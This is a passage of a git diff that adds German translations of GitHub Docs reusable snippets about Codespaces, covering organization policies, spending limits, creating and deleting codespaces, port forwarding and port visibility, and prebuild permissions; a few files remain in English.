+**Hinweis**: Codespacerichtlinien gelten nur für Codespaces, die deiner Organisation in Rechnung gestellt werden. Wenn ein einzelner Benutzer einen Codespace für ein Repository in deiner Organisation erstellt und dieser Codespace nicht unter die Abrechnung für deine Organisation fällt, ist er nicht an diese Richtlinien gebunden. Informationen dazu, wie du auswählst, wer Codespaces erstellen darf, die deiner Organisation in Rechnung gestellt werden, findest du unter [Aktivieren von {% data variables.product.prodname_github_codespaces %} für deine Organisation](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#choose-who-can-create-codespaces-that-are-billed-to-your-organization).
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/codespaces/codespaces-org-policies.md b/translations/de-DE/data/reusables/codespaces/codespaces-org-policies.md
new file mode 100644
index 0000000000..34fa3092fa
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespaces-org-policies.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: c097c7fd6ab5c53939ac8e01b458aa8331ac347b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062417"
+---
+1. Klicke im Abschnitt „Code, Planung und Automatisierung“ in der Randleiste auf **{% octicon "codespaces" aria-label="The codespaces icon" %} {% data variables.product.prodname_codespaces %}** , und klicke anschließend auf **Richtlinien**.
+1. Klicke auf der Seite „Codespacerichtlinien“ auf **Richtlinie erstellen**.
+1. Gib einen Namen für die neue Richtlinie ein.
diff --git a/translations/de-DE/data/reusables/codespaces/codespaces-policy-targets.md b/translations/de-DE/data/reusables/codespaces/codespaces-policy-targets.md
new file mode 100644
index 0000000000..6af8440fdf
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespaces-policy-targets.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: fdfc4d75663309d617b1f30d36e1744fd6a8806e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103167"
+---
+1. Klicke im Bereich „Richtlinienziel ändern“ auf die Dropdownschaltfläche.
+1. Wähle **Alle Repositorys** oder **Ausgewählte Repositorys** aus, um festzulegen, für welche Repositorys diese Richtlinie gelten soll.
+1. Wenn du **Ausgewählte Repositorys** ausgewählt hast:
+   1. Klicke auf {% octicon "gear" aria-label="The settings icon" %}.
+
+      ![Bearbeiten der Einstellungen für die Richtlinie](/assets/images/help/codespaces/policy-edit.png)
+
+   2. Wähle die Repositorys aus, auf die diese Richtlinie angewendet werden soll.
+   3. Klicke unten in der Repositoryliste auf **Repositorys auswählen**.
+
+      ![Auswählen von Repositorys für diese Richtlinie](/assets/images/help/codespaces/policy-select-repos.png)
diff --git a/translations/de-DE/data/reusables/codespaces/codespaces-spending-limit-requirement.md b/translations/de-DE/data/reusables/codespaces/codespaces-spending-limit-requirement.md
new file mode 100644
index 0000000000..9c886492a7
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/codespaces-spending-limit-requirement.md
@@ -0,0 +1,7 @@
+{% note %}
+
+**Note:** You must set a non-zero spending limit on your personal, organization, or enterprise account before the account can be billed for use of {% data variables.product.prodname_github_codespaces %}.
+
+{% endnote %}
+
+By default, all accounts have a {% data variables.product.prodname_github_codespaces %} spending limit of $0 USD. This prevents new codespaces being created, or existing codespaces being opened, if doing so would incur a billable cost to your personal, organization, or enterprise account. For personal accounts, codespaces can always be created and used if the account has not reached the limit of its monthly included usage. For organizations and enterprises, the default spending limit means that, to allow people to create codespaces that are billed to the organization, or its parent enterprise, the limit must be changed to a value above $0 USD.
diff --git a/translations/de-DE/data/reusables/codespaces/command-palette-container.md b/translations/de-DE/data/reusables/codespaces/command-palette-container.md
new file mode 100644
index 0000000000..e7731d13ea
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/command-palette-container.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 9949fdd78ea652843974762c80e62ce2ee02799d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147076708"
+---
+1. Greife auf die {% data variables.product.prodname_vscode_command_palette %} zu (<kbd>UMSCHALT</kbd>+<kbd>COMMAND</kbd>+<kbd>P</kbd> (Mac)/<kbd>STRG</kbd>+<kbd>UMSCHALT</kbd>+<kbd>P</kbd> (Windows/Linux)) zu, und beginne dann mit der Eingabe „dev container“. Wähle **Codespaces: Konfigurationsdateien für Entwicklungscontainer hinzufügen...** aus.
+
+   ![„Codespaces: Entwicklungscontainer-Konfigurationsdateien hinzufügen...“ in der {% data variables.product.prodname_vscode_command_palette %}](/assets/images/help/codespaces/add-prebuilt-container-command.png)
diff --git a/translations/de-DE/data/reusables/codespaces/committing-link-to-procedure.md b/translations/de-DE/data/reusables/codespaces/committing-link-to-procedure.md
new file mode 100644
index 0000000000..25ad54792c
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/committing-link-to-procedure.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: e68113c73b7860f27986aaea34efd62dd5a206a1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145149396"
+---
+Nachdem du Änderungen an deinem Codespace vorgenommen hast (neuer Code oder Konfigurationsänderungen), möchtest du deine Änderungen committen. Durch das Committen von Änderungen an dein Repository wird sichergestellt, dass jeder Benutzer, der einen Codespace aus diesem Repository erstellt, die gleiche Konfiguration verwendet. Dies bedeutet auch, dass alle von dir ausgeführten Anpassungen, z. B. das Hinzufügen von {% data variables.product.prodname_vscode_shortname %}-Erweiterungen, für alle Benutzer angezeigt werden.
+
+Weitere Informationen findest du unter [Verwenden der Quellcodeverwaltung in deinem Codespace](/codespaces/developing-in-codespaces/using-source-control-in-your-codespace#committing-your-changes).
diff --git a/translations/de-DE/data/reusables/codespaces/connect-to-codespace-from-vscode.md b/translations/de-DE/data/reusables/codespaces/connect-to-codespace-from-vscode.md
new file mode 100644
index 0000000000..82c5075150
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/connect-to-codespace-from-vscode.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e3e9f56d2691232ab835cdaaeacb252e80d9a6cb
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: "148159617"
+---
+Du kannst direkt aus {% data variables.product.prodname_vscode_shortname %} eine Verbindung mit Deinem Codespace herstellen. Weitere Informationen findest du unter [Verwenden von Codespaces in {% data variables.product.prodname_vscode_shortname %}](/codespaces/developing-in-codespaces/using-github-codespaces-in-visual-studio-code).
diff --git a/translations/de-DE/data/reusables/codespaces/contact-support.md b/translations/de-DE/data/reusables/codespaces/contact-support.md
new file mode 100644
index 0000000000..6cff546179
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/contact-support.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3973922016fb606321a8a069933be6191c79dccb
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145103143"
+---
+Du musst dich ggf. an den Support wenden. Weitere Informationen findest du unter [Zusammenarbeiten mit dem Support](/codespaces/troubleshooting/working-with-support-for-codespaces).
diff --git a/translations/de-DE/data/reusables/codespaces/create-or-switch-branch.md b/translations/de-DE/data/reusables/codespaces/create-or-switch-branch.md
new file mode 100644
index 0000000000..a0d4268c6a
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/create-or-switch-branch.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 814de4823a80acb0ff07a8b0e5363a7096083d96
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104276"
+---
+1. Wenn der aktuelle Branch nicht in der Statusleiste angezeigt wird, klicke unten im Codespace mit der rechten Maustaste auf die Statusleiste, und wähle dann **Quellcodeverwaltung** aus.
+1. Klicke auf den Branchnamen in der Statusleiste.
+![Der Branch in der Statusleiste](/assets/images/help/codespaces/branch-in-status-bar.png)
+1. Klicke in der Dropdownliste entweder auf den Branch, zu dem du wechseln möchtest, oder gib den Namen für einen neuen Branch ein, und klicke auf **Neuen Branch erstellen**.
+![Auswählen aus dem Branchmenü](/assets/images/help/codespaces/create-new-branch.png)
diff --git a/translations/de-DE/data/reusables/codespaces/creating-a-codespace-in-vscode.md b/translations/de-DE/data/reusables/codespaces/creating-a-codespace-in-vscode.md
new file mode 100644
index 0000000000..3dafc1ad37
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/creating-a-codespace-in-vscode.md
@@ -0,0 +1,30 @@
+After you connect your account on {% data variables.product.prodname_dotcom_the_website %} to the {% data variables.product.prodname_github_codespaces %} extension, you can create a new codespace. For more information about the {% data variables.product.prodname_github_codespaces %} extension, see the [{% data variables.product.prodname_vs_marketplace_shortname %}](https://marketplace.visualstudio.com/items?itemName=GitHub.codespaces).
+
+{% data reusables.codespaces.click-remote-explorer-icon-vscode %}
+2. Click the Add icon: {% octicon "plus" aria-label="The plus icon" %}.
+
+   ![The Create new Codespace option in {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/create-codespace-vscode.png)
+
+3. Type the name of the repository you want to develop in, then select it.
+
+   ![Searching for repository to create a new codespace](/assets/images/help/codespaces/choose-repository-vscode.png)
+
+   If the repository you choose is owned by an organization, and the organization has configured codespaces for this repository to be billable to the organization, or its parent enterprise, a message will be displayed in subsequent prompts telling you who will pay for the codespace.
+
+4. Click the branch you want to develop on.
+
+   ![Searching for a branch to create a new codespace](/assets/images/help/codespaces/choose-branch-vscode.png)
+
+5. If prompted to choose a dev container configuration file, choose a file from the list.
+
+   ![Choosing a dev container configuration file for {% data variables.product.prodname_github_codespaces %}](/assets/images/help/codespaces/choose-dev-container-vscode.png)
+
+6. Click the machine type you want to use.
+
+   ![Instance types for a new codespace](/assets/images/help/codespaces/choose-sku-vscode.png)
+
+   {% note %}
+
+   **Note**: {% data reusables.codespaces.codespaces-machine-type-availability %}
+
+   {% endnote %}
diff --git a/translations/de-DE/data/reusables/codespaces/customize-vcpus-and-ram.md b/translations/de-DE/data/reusables/codespaces/customize-vcpus-and-ram.md
new file mode 100644
index 0000000000..b1d457d508
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/customize-vcpus-and-ram.md
@@ -0,0 +1,5 @@
+You can customize your codespace by adjusting the amount of vCPUs and RAM, adding dotfiles to personalize your environment, or by modifying the tools and scripts installed. For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)."
+
+{% data variables.product.prodname_github_codespaces %} uses a file called `devcontainer.json` to configure the development container that you use when you work in a codespace. Each repository can contain one or more  `devcontainer.json` files, to give you exactly the development environment you need to work on your code in a codespace. 
+
+On launch, {% data variables.product.prodname_github_codespaces %} uses a `devcontainer.json` file, and any dependent files that make up the dev container configuration, to install tools and runtimes, and perform other setup tasks that the project requires. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-project-for-codespaces/introduction-to-dev-containers)."
diff --git a/translations/de-DE/data/reusables/codespaces/deleting-a-codespace-in-vscode.md b/translations/de-DE/data/reusables/codespaces/deleting-a-codespace-in-vscode.md
new file mode 100644
index 0000000000..142e93e97e
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/deleting-a-codespace-in-vscode.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: bfb62ebffa46a438d488de2cb8d88ea4b1cc6a4d
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145149684"
+---
+Du kannst Codespaces aus {% data variables.product.prodname_vscode_shortname %} löschen, wenn du gerade nicht in einem Codespace arbeitest.
+
+{% data reusables.codespaces.click-remote-explorer-icon-vscode %}
+1. Klicke unter GITHUB CODESPACES mit der rechten Maustaste auf den Codespace, den du löschen möchtest.
+1. Klicke auf **Codespace löschen**.
+
+   ![Löschen eines Codespace in {% data variables.product.prodname_dotcom %}](/assets/images/help/codespaces/delete-codespace-vscode.png)
diff --git a/translations/de-DE/data/reusables/codespaces/edit-devcontainer-json.md b/translations/de-DE/data/reusables/codespaces/edit-devcontainer-json.md
new file mode 100644
index 0000000000..816233009a
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/edit-devcontainer-json.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 38208812f73fda89c12d251955a1eee327ceb8db
+ms.sourcegitcommit: 27882d9b3f19979c817c25952a2fb4dc4c6f0a65
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/27/2022
+ms.locfileid: "148114041"
+---
+1. {% data variables.product.prodname_github_codespaces %} für dein Repository werden in einer `devcontainer.json`-Datei konfiguriert. Wenn dein Repository noch keine `devcontainer.json`-Datei enthält, füge jetzt eine hinzu. Siehe [Hinzufügen einer Entwicklungscontainerkonfiguration zu deinem Repository aus einer Vorlage](/free-pro-team@latest/codespaces/setting-up-your-project-for-codespaces/setting-up-your-project-for-codespaces).
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/codespaces/ellipsis-settings.md b/translations/de-DE/data/reusables/codespaces/ellipsis-settings.md
new file mode 100644
index 0000000000..e0c1eae28f
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/ellipsis-settings.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 75753ebc255f17a624038305d5146e1eaeae0215
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: "148159562"
+---
+1. Klicke rechts neben dem Codespace, den du ändern möchtest, auf die Auslassungspunkte (**...**).
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/codespaces/exporting-changes.md b/translations/de-DE/data/reusables/codespaces/exporting-changes.md
new file mode 100644
index 0000000000..7178994ca6
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/exporting-changes.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: dbfc559ca9be38d03d5bcd7c884687f098025ea9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145104272"
+---
+Wenn du ein Ausgabenlimit erreicht hast, kannst du Codespaces nicht mehr erstellen oder fortsetzen. Du kannst [weiterhin alle laufenden Änderungen in einen neuen Branch exportieren](/codespaces/troubleshooting/exporting-changes-to-a-branch). 
diff --git a/translations/de-DE/data/reusables/codespaces/forwarded-ports-environment-variable.md b/translations/de-DE/data/reusables/codespaces/forwarded-ports-environment-variable.md
new file mode 100644
index 0000000000..8186fafff7
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/forwarded-ports-environment-variable.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8e7320dbbe922cd2d53e2f342007740d7b27c351
+ms.sourcegitcommit: 43a959b8faf78d9c5b3deadffa079d24cd11650b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/04/2022
+ms.locfileid: "148134759"
+---
+Die Domäne {% data variables.product.prodname_dotcom %}, die für die Portweiterleitung verwendet wird, kann sich von Zeit zu Zeit ändern. Wenn du im Code auf einen weitergeleiteten Port verweist, z. B. in einem Test, empfiehlt es sich, eine Umgebungsvariable zu verwenden, anstatt die URL hartzucodieren. Weitere Informationen findest du unter [Standardumgebungsvariablen für deinen Codespace](/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace#list-of-default-environment-variables).
diff --git a/translations/de-DE/data/reusables/codespaces/links-to-get-started.md b/translations/de-DE/data/reusables/codespaces/links-to-get-started.md
new file mode 100644
index 0000000000..4fc936ff8d
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/links-to-get-started.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6d1607f3c2d1c775f5328d13ff4cb458d82037a0
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109206"
+---
+Weitere Schritte mit {% data variables.product.prodname_github_codespaces %} findest du unter [Schnellstart für {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/quickstart). Weitere Informationen zum Erstellen oder erneuten Öffnen eines Codespaces findest du unter [Erstellen eines Codespaces](/codespaces/developing-in-codespaces/creating-a-codespace) und [Öffnen eines vorhandenen Codespaces](/codespaces/developing-in-codespaces/opening-an-existing-codespace). Weitere Informationen zur Funktion von {% data variables.product.prodname_github_codespaces %} findest du unter [Fundierte Einblicke in {% data variables.product.prodname_github_codespaces %}](/codespaces/getting-started/deep-dive).
diff --git a/translations/de-DE/data/reusables/codespaces/max-number-codespaces.md b/translations/de-DE/data/reusables/codespaces/max-number-codespaces.md
new file mode 100644
index 0000000000..f36c6031d5
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/max-number-codespaces.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5a221eb6ab8719ebea834e50059bbc6aead1fa79
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109201"
+---
+Es gibt Grenzwerte für die Anzahl von Codespaces, die du erstellen kannst, sowie für die Anzahl der Codespaces, die du gleichzeitig ausführen kannst. Diese Grenzwerte variieren je nach Anzahl von Faktoren. Wenn du die maximale Anzahl von Codespaces erreichst und versuchst, andere zu erstellen, wird eine Meldung angezeigt, dass du einen vorhandenen Codespace entfernen musst, bevor du einen neuen erstellen kannst.
diff --git a/translations/de-DE/data/reusables/codespaces/more-info-devcontainer.md b/translations/de-DE/data/reusables/codespaces/more-info-devcontainer.md
new file mode 100644
index 0000000000..050542a43a
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/more-info-devcontainer.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c4d14deef7dc4c8811dec367203f5c4377227e05
+ms.sourcegitcommit: 5ee600fa0b52d1d1b138d8565740e2a0b5e4c4da
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148008139"
+---
+Informationen zu den Einstellungen und Eigenschaften, die du in einer `devcontainer.json`-Datei festlegen kannst, findest du unter [Spezifikation](https://containers.dev/implementors/spec) auf der Website für Entwicklungscontainer.
diff --git a/translations/de-DE/data/reusables/codespaces/navigate-to-codespaces-page.md b/translations/de-DE/data/reusables/codespaces/navigate-to-codespaces-page.md
new file mode 100644
index 0000000000..88113cdfb1
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/navigate-to-codespaces-page.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8aee324ef787fa06f501e9cc9ba6abaf2648ef49
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109198"
+---
+1. Navigiere zur Seite „Deine Codespaces“ unter [https://github.com/codespaces](https://github.com/codespaces).
diff --git a/translations/de-DE/data/reusables/codespaces/navigate-to-ports-tab.md b/translations/de-DE/data/reusables/codespaces/navigate-to-ports-tab.md
new file mode 100644
index 0000000000..0877695f16
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/navigate-to-ports-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 397dc422c5fcfc2fcaa4081ad1130773d08c07b0
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145103132"
+---
+1. Klicke in deinem Codespace unter dem Text-Editor auf „Ports“.
+    ![Registerkarte „Ports“](/assets/images/help/codespaces/ports-tab.png)
diff --git a/translations/de-DE/data/reusables/codespaces/next-steps-adding-devcontainer.md b/translations/de-DE/data/reusables/codespaces/next-steps-adding-devcontainer.md
new file mode 100644
index 0000000000..ee23417553
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/next-steps-adding-devcontainer.md
@@ -0,0 +1,3 @@
+- [Managing encrypted secrets for {% data variables.product.prodname_github_codespaces %}](/codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces)
+- [Managing GPG verification for {% data variables.product.prodname_github_codespaces %}](/codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces)
+- [Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)
diff --git a/translations/de-DE/data/reusables/codespaces/open-codespace-from-template-repo.md b/translations/de-DE/data/reusables/codespaces/open-codespace-from-template-repo.md
new file mode 100644
index 0000000000..aeaba076cc
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/open-codespace-from-template-repo.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 69354dddad1a9dcf540f273fde19ed6d880c1efb
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: "148159629"
+---
+1. Wähle einen Besitzer für das neue Repository, gib einen Repositorynamen ein, wähle deine bevorzugte Datenschutzeinstellung aus, und klicke auf **Repository aus Vorlage erstellen**.
+1. Klicke auf der Hauptseite des neu erstellten Repositorys auf die Schaltfläche **{% octicon "code" aria-label="The code icon" %} Code**, und wähle die Registerkarte **Codespaces** aus.
+
+   ![Schaltfläche „New codespace" (Neuer Codespace)](/assets/images/help/codespaces/new-codespace-button.png)
+
+1. Klicke auf der Registerkarte **Codespaces** auf **Codespace in „main“ erstellen**.
diff --git a/translations/de-DE/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md b/translations/de-DE/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md
new file mode 100644
index 0000000000..b8c598f61e
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/port-forwarding-intro-non-jetbrains.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 9523f75cde4298a6e1cd4335127a1dfb5bb342b5
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: "148159686"
+---
+Wenn die Ausgabe einer Anwendung, die in einem Codespace ausgeführt wird, im Terminal angezeigt wird, das eine Localhost-URL wie `http://localhost:PORT` oder `http://127.0.0.1:PORT` enthält, wird der Port automatisch weitergeleitet. Wenn du {% data variables.product.prodname_github_codespaces %} im Browser oder in {% data variables.product.prodname_vscode %} verwendest, wird die URL-Zeichenfolge im Terminal in einen Link konvertiert, auf den du klicken kannst, um die Webseite auf deinem lokalen Computer anzuzeigen. Standardmäßig leitet {% data variables.product.prodname_github_codespaces %} Ports über HTTP weiter.
+
+![Automatische Portweiterleitung](/assets/images/help/codespaces/automatic-port-forwarding.png)
+
+Du hast die Möglichkeit, einen Port auch manuell weiterzuleiten. Zudem kannst du weitergeleitete Ports bezeichnen, für Mitglieder deiner Organisation oder die Öffentlichkeit freigeben und der Codespacekonfiguration hinzufügen.
+
+{% note %}
+
+**Hinweis:** {% data reusables.codespaces.restrict-port-visibility %}
+
+{% endnote %}
+
+## Weiterleiten eines Ports
+
+Du kannst einen Port, der nicht automatisch weitergeleitet wurde, manuell weiterleiten.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md b/translations/de-DE/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md
new file mode 100644
index 0000000000..80ce4372c1
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/port-forwarding-sharing-non-jetbrains.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 22cef14793f2fe8ffa5937d60056f05f1be0265a
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: "148159553"
+---
+## Freigeben eines Ports
+
+{% note %}
+
+**Hinweis:** Du kannst einen Port nur dann als privaten Port für eine Organisation bereitstellen, wenn deine Organisation {% data variables.product.prodname_team %} oder {% data variables.product.prodname_ghe_cloud %} nutzt.
+
+{% endnote %}
+
+Wenn du einen weitergeleiteten Port für andere freigeben möchtest, kannst du den Port entweder als privaten Port für deine Organisation bereitstellen oder ihn öffentlich zugänglich machen. Wenn du einen Port als privaten Port für deine Organisation bereitgestellt hast, kann jeder in der Organisation mit der Port-URL die ausgeführte Anwendung anzeigen. Wenn du einen Port öffentlich zugänglich gemacht hast, kann jeder, der die URL und die Portnummer kennt, die ausgeführte Anwendung ohne Authentifizierung anzeigen.
+
+{% note %}
+
+**Hinweis:** Deine Auswahl der Portsichtbarkeitsoptionen kann durch eine Richtlinie eingeschränkt sein, die für deine Organisation konfiguriert ist. Weitere Informationen findest du unter [Einschränken der Sichtbarkeit weitergeleiteter Ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports).
+
+{% endnote %}
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/codespaces/port-visibility-settings.md b/translations/de-DE/data/reusables/codespaces/port-visibility-settings.md
new file mode 100644
index 0000000000..4eb1d8da60
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/port-visibility-settings.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 4fc229f6627c578fc456e63ffef8857ad3bb696f
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145103131"
+---
+Es gibt drei Sichtbarkeitseinstellungen:
+
+* `private` – Nur für dich sichtbar. Dies ist die Standardeinstellung, wenn du einen Port weiterleitest.
+* `org` – Sichtbar für Mitglieder der Organisation, die das Repository besitzt.
+* `public` – Für jeden sichtbar, der die URL und die Portnummer kennt.
diff --git a/translations/de-DE/data/reusables/codespaces/prebuilds-crossreference.md b/translations/de-DE/data/reusables/codespaces/prebuilds-crossreference.md
new file mode 100644
index 0000000000..1b6940d382
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/prebuilds-crossreference.md
@@ -0,0 +1 @@
+To speed up codespace creation, repository administrators can enable {% data variables.product.prodname_github_codespaces %} prebuilds for a repository. For more information, see "[About {% data variables.product.prodname_github_codespaces %} prebuilds](/codespaces/prebuilding-your-codespaces/about-github-codespaces-prebuilds)."
diff --git a/translations/de-DE/data/reusables/codespaces/prebuilds-permission-authorization.md b/translations/de-DE/data/reusables/codespaces/prebuilds-permission-authorization.md
new file mode 100644
index 0000000000..efd527a8f0
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/prebuilds-permission-authorization.md
@@ -0,0 +1,21 @@
+---
+ms.openlocfilehash: c32a9f6f6a799c3653cb17fe89721090fc01d155
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109193"
+---
+   Wenn die Dev-Containerkonfiguration für das Repository Berechtigungen für den Zugriff auf andere Repositorys angibt, wird dir eine Autorisierungsseite angezeigt. Weitere Informationen dazu, wie dies in der `devcontainer.json`-Datei angegeben wird, findest du unter [Verwalten des Zugriffs auf andere Repositorys innerhalb deines Codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces).   
+
+   Klicke auf {% octicon "chevron-down" aria-label="The expand down icon" %}, um die Details der angeforderten Berechtigungen anzuzeigen.
+
+   ![Screenshot der Autorisierungsseite für Prebuilds](/assets/images/help/codespaces/prebuild-authorization-page.png)
+
+   Klicke auf **Authorize and continue** (Autorisieren und fortfahren) um diese Berechtigungen für die Erstellung des Prebuilds zu erteilen. Alternativ kannst du auf **Continue without authorizing** (Ohne Autorisierung fortfahren) klicken. In diesem Fall funktionieren die Codespaces, die aus dem resultierenden Prebuild erstellt wurden, jedoch möglicherweise nicht ordnungsgemäß
+
+   {% note %}
+
+   **Hinweis**: Benutzer, die Codespaces mit diesem Prebuild erstellen, werden ebenfalls aufgefordert, diese Berechtigungen zu erteilen.
+
+   {% endnote %}
diff --git a/translations/de-DE/data/reusables/codespaces/rebuild-command.md b/translations/de-DE/data/reusables/codespaces/rebuild-command.md
new file mode 100644
index 0000000000..dcb30968d7
--- /dev/null
+++ b/translations/de-DE/data/reusables/codespaces/rebuild-command.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 2a9a8aec377e545ba9eecac42e61e9cdff9c4bfd
+ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147760879"
+---
